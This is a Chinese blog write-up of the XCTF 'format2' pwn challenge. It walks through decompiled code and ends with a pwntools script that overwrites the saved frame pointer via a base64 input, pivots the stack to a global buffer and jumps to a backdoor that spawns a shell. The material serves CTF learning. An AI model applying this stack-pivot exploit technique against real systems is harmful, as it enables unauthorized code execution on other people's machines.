xctf format2

原创

doudoudedi 于 2019-10-01 22:24:37 发布 156 收藏 1

分类专栏： 题目 文章标签： pwn xctf

本文链接：https://blog.csdn.net/qq_37433000/article/details/101869222

题目 专栏收录该内容

83 篇文章 2 订阅

订阅专栏

日常水题的一天这个和pwnable.kr 上的一道题很像也是一道栈迁移的题目
我们直接看main函数

```
IDA View-A | Pseudocode-B | Pseudocode-A | Hex View-1 | Structures | Enums
 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   int v4; // [esp+18h] [ebp-28h]
 4   char s; // [esp+1Eh] [ebp-22h]
 5   unsigned int v6; // [esp+3Ch] [ebp-4h]
 6
 7   memset(&s, 0, 0x1Eu);
 8   setvbuf(stdout, 0, 2, 0);
 9   setvbuf(stdin, 0, 1, 0);
10   printf("Authenticate : ");
11   _isoc99_scanf("%30s", &s);
12   memset(&input, 0, 0xCu);
13   v4 = 0;
14   v6 = Base64Decode(&s, &v4);
15   if ( v6 > 0xC )
16   {
17     puts("Wrong Length");
18   }
19   else
20   {
21     memcpy(&input, v4, v6);
22     if ( auth(v6) == 1 )
23       correct();
24   }
25   return 0;
26 }
```


把输入的base64解密长度不能超过12

```
IDA View-A | Pseudocode-B | Pseudocode-A | Hex View-1 | Structures | Enums
 1 BOOL4 __cdecl auth(int a1)
 2 {
 3   char v2; // [esp+14h] [ebp-14h]
 4   char *s2; // [esp+1Ch] [ebp-Ch]
 5   int v4; // [esp+20h] [ebp-8h]
 6
 7   memcpy(&v4, &input, a1);
 8   s2 = calc_md5(&v2, 12);
 9   printf("hash : %s\n", s2);
10   return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
11 }
```


目的是correct函数

```
1 void __noreturn correct()
2 {
3   if ( input == -559038737 )
4   {
5     puts("Congratulation! you are good!");
6     system("/bin/sh");
7   }
8   exit(0);
9 }
```


发现这里可以覆盖ebp我们就可以将栈迁移到input处然后mov esp,ebp ;
pop ebp; pop eip;main函数公用ebp控制eip为我们的后门地址直接拿到shell(打pwn不要限制于拿到shell哦)
exp:

```
from pwn import *
import base64
#p=process('./fmt')
p=remote('111.198.29.45',49541)
elf=ELF('./fmt')
def debug():
 gdb.attach(p)
 pause()
system_addr=0x08049284
input_addr=0x0811EB40
payload='a'*4+p32(system_addr)+p32(input_addr)
#debug()
p.sendline(base64.b64encode(payload))

p.interactive()
```

我虽然pwn不厉害
但是我基础的还是会一点的